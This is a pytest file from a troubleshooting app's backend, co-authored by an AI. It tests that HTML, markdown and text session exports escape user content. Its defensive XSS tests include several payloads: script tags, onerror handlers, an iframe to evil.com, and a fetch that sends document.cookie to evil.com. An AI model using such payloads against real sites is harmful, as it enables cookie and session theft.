Files
resolutionflow/backend/tests/test_export_security.py
chihlasm e216d5039e test: add export security tests and CI coverage reporting
Export security tests (26 new tests):
- 11 XSS prevention tests covering all user-supplied fields in HTML export
  (tree name, ticket, client, decisions, notes, timestamps, scratchpad)
- 7 edge case tests (unicode/emoji, empty decisions, missing fields, long content)
- 5 format-specific tests (markdown headers, text numbering)
- 3 HTML structure tests (valid document, CSS, timestamp toggle)

CI coverage reporting:
- Add --cov=app --cov-report flags to pytest in GitHub Actions
- Display per-module coverage summary after test run
- Baseline: 63% overall, 98% on export_service.py

Total tests: 215 (189 existing + 26 new)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 14:53:22 -05:00

288 lines
11 KiB
Python

"""Security tests for session export generators.
Validates that all user-supplied content is properly escaped in HTML exports
to prevent XSS attacks, and that markdown/text exports handle edge cases.
"""
from datetime import datetime, timezone
from unittest.mock import MagicMock
import pytest
from app.schemas.session import SessionExport
from app.services.export_service import (
generate_html_export,
generate_markdown_export,
generate_text_export,
)
def _make_session(
tree_name="Test Tree",
ticket_number=None,
client_name=None,
decisions=None,
scratchpad="",
):
"""Create a mock session object for export testing."""
session = MagicMock()
session.tree_snapshot = {"name": tree_name}
session.ticket_number = ticket_number
session.client_name = client_name
session.decisions = decisions or []
session.scratchpad = scratchpad
session.started_at = datetime(2026, 1, 15, 10, 30, tzinfo=timezone.utc)
session.completed_at = datetime(2026, 1, 15, 11, 0, tzinfo=timezone.utc)
return session
def _default_options(**kwargs):
"""Create SessionExport options with defaults."""
return SessionExport(
format=kwargs.get("format", "html"),
include_timestamps=kwargs.get("include_timestamps", True),
include_tree_info=kwargs.get("include_tree_info", True),
)
# --- XSS Prevention Tests (HTML Export) ---
class TestHtmlExportXssSecurity:
"""Verify all user-supplied fields are HTML-escaped in HTML export."""
def test_tree_name_script_tag_escaped(self):
session = _make_session(tree_name='<script>alert("xss")</script>')
result = generate_html_export(session, _default_options())
assert "<script>" not in result
assert "&lt;script&gt;" in result
def test_tree_name_event_handler_escaped(self):
session = _make_session(tree_name='<img src=x onerror="alert(1)">')
result = generate_html_export(session, _default_options())
assert "onerror" not in result.split("&")[0] # onerror should be inside escaped string
assert "&lt;img" in result
def test_ticket_number_xss_escaped(self):
session = _make_session(
ticket_number='<script>document.cookie</script>'
)
result = generate_html_export(session, _default_options())
assert "<script>" not in result
assert "&lt;script&gt;" in result
def test_client_name_xss_escaped(self):
session = _make_session(client_name='<img src=x onerror="fetch(\'evil.com\')">')
result = generate_html_export(session, _default_options())
assert "onerror" not in result.split("&")[0]
assert "&lt;img" in result
def test_decision_question_xss_escaped(self):
session = _make_session(decisions=[
{"question": '<script>alert("q")</script>', "answer": "Yes"}
])
result = generate_html_export(session, _default_options())
assert "<script>" not in result
assert "&lt;script&gt;" in result
def test_decision_answer_xss_escaped(self):
session = _make_session(decisions=[
{"question": "Safe question", "answer": '"><script>alert(1)</script>'}
])
result = generate_html_export(session, _default_options())
assert "<script>" not in result
def test_decision_notes_xss_escaped(self):
session = _make_session(decisions=[
{"question": "Q", "answer": "A", "notes": '<iframe src="evil.com"></iframe>'}
])
result = generate_html_export(session, _default_options())
assert "<iframe" not in result
assert "&lt;iframe" in result
def test_decision_timestamp_xss_escaped(self):
session = _make_session(decisions=[
{"question": "Q", "answer": "A", "timestamp": '<script>alert("t")</script>'}
])
result = generate_html_export(session, _default_options())
assert "<script>" not in result
def test_scratchpad_xss_escaped(self):
session = _make_session(
scratchpad='<script>fetch("https://evil.com/steal?c="+document.cookie)</script>'
)
result = generate_html_export(session, _default_options())
assert "<script>" not in result
assert "&lt;script&gt;" in result
def test_action_performed_field_xss_escaped(self):
"""Test the fallback field 'action_performed' is also escaped."""
session = _make_session(decisions=[
{"action_performed": '<script>alert("ap")</script>', "answer": "Done"}
])
result = generate_html_export(session, _default_options())
assert "<script>" not in result
def test_multiple_xss_vectors_in_single_export(self):
"""Test that all fields are escaped even when multiple contain payloads."""
session = _make_session(
tree_name='<script>1</script>',
ticket_number='<script>2</script>',
client_name='<script>3</script>',
scratchpad='<script>4</script>',
decisions=[
{
"question": '<script>5</script>',
"answer": '<script>6</script>',
"notes": '<script>7</script>',
"timestamp": '<script>8</script>',
}
],
)
result = generate_html_export(session, _default_options())
# Count: there should be zero raw <script> tags in output
assert result.count("<script>") == 0
# --- Unicode and Edge Case Tests ---
class TestExportEdgeCases:
"""Test edge cases across all export formats."""
def test_unicode_emoji_in_all_formats(self):
session = _make_session(
tree_name="Troubleshooting 🔧",
client_name="Acme Corp 🏢",
decisions=[{"question": "Did it work? ✅", "answer": "Yes 👍"}],
)
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
result = gen(session, _default_options())
assert "🔧" in result
assert "" in result
def test_empty_decisions_list(self):
session = _make_session(decisions=[])
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
result = gen(session, _default_options())
assert result # should not crash, should produce output
def test_decision_with_missing_fields(self):
"""Decisions may have only partial fields."""
session = _make_session(decisions=[
{"question": "Only question, no answer or notes"},
{"answer": "Only answer"},
{},
])
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
result = gen(session, _default_options())
assert result
def test_very_long_content(self):
"""Ensure no truncation or crash on large inputs."""
long_text = "A" * 10000
session = _make_session(
tree_name=long_text,
decisions=[{"question": long_text, "answer": long_text, "notes": long_text}],
)
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
result = gen(session, _default_options())
assert len(result) > 10000
def test_html_entities_in_content(self):
"""Ampersands and angle brackets in normal content should be escaped in HTML."""
session = _make_session(
tree_name="Q&A: Is 5 > 3?",
decisions=[{"question": "Check if A < B & C > D", "answer": "True"}],
)
result = generate_html_export(session, _default_options())
assert "Q&amp;A" in result
assert "&lt;" in result or "&gt;" in result
def test_newlines_in_scratchpad_preserved(self):
"""Scratchpad with newlines should be readable in all formats."""
session = _make_session(scratchpad="Line 1\nLine 2\nLine 3")
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
result = gen(session, _default_options())
assert "Line 1" in result
assert "Line 3" in result
# --- Format-Specific Tests ---
class TestMarkdownExport:
"""Test markdown-specific output formatting."""
def test_includes_header_with_tree_info(self):
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
result = generate_markdown_export(session, _default_options())
assert "# DNS Troubleshooting" in result
assert "**Ticket:** TK-1234" in result
def test_excludes_tree_info_when_disabled(self):
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
opts = _default_options(include_tree_info=False)
result = generate_markdown_export(session, opts)
assert "# DNS Troubleshooting" not in result
assert "TK-1234" not in result
def test_step_numbering(self):
session = _make_session(decisions=[
{"question": "Step A", "answer": "Yes"},
{"question": "Step B", "answer": "No"},
{"question": "Step C", "answer": "Maybe"},
])
result = generate_markdown_export(session, _default_options())
assert "### Step 1: Step A" in result
assert "### Step 2: Step B" in result
assert "### Step 3: Step C" in result
class TestTextExport:
"""Test plain text output formatting."""
def test_includes_header_with_tree_info(self):
session = _make_session(tree_name="Network Check", client_name="Contoso")
result = generate_text_export(session, _default_options())
assert "Network Check" in result
assert "Client: Contoso" in result
def test_step_numbering(self):
session = _make_session(decisions=[
{"question": "Check cable", "answer": "Connected"},
{"question": "Check DNS", "answer": "Resolving"},
])
result = generate_text_export(session, _default_options())
assert "1. Check cable" in result
assert "2. Check DNS" in result
class TestHtmlExportStructure:
"""Test HTML output structure (non-security)."""
def test_valid_html_document(self):
session = _make_session()
result = generate_html_export(session, _default_options())
assert result.startswith("<!DOCTYPE html>")
assert "</html>" in result
assert "<meta charset" in result
def test_includes_css_styles(self):
session = _make_session()
result = generate_html_export(session, _default_options())
assert "<style>" in result
assert "font-family" in result
def test_timestamps_included_when_enabled(self):
session = _make_session()
opts = _default_options(include_timestamps=True)
result = generate_html_export(session, opts)
assert "2026-01-15 10:30" in result
def test_timestamps_excluded_when_disabled(self):
session = _make_session()
opts = _default_options(include_timestamps=False)
result = generate_html_export(session, opts)
assert "2026-01-15" not in result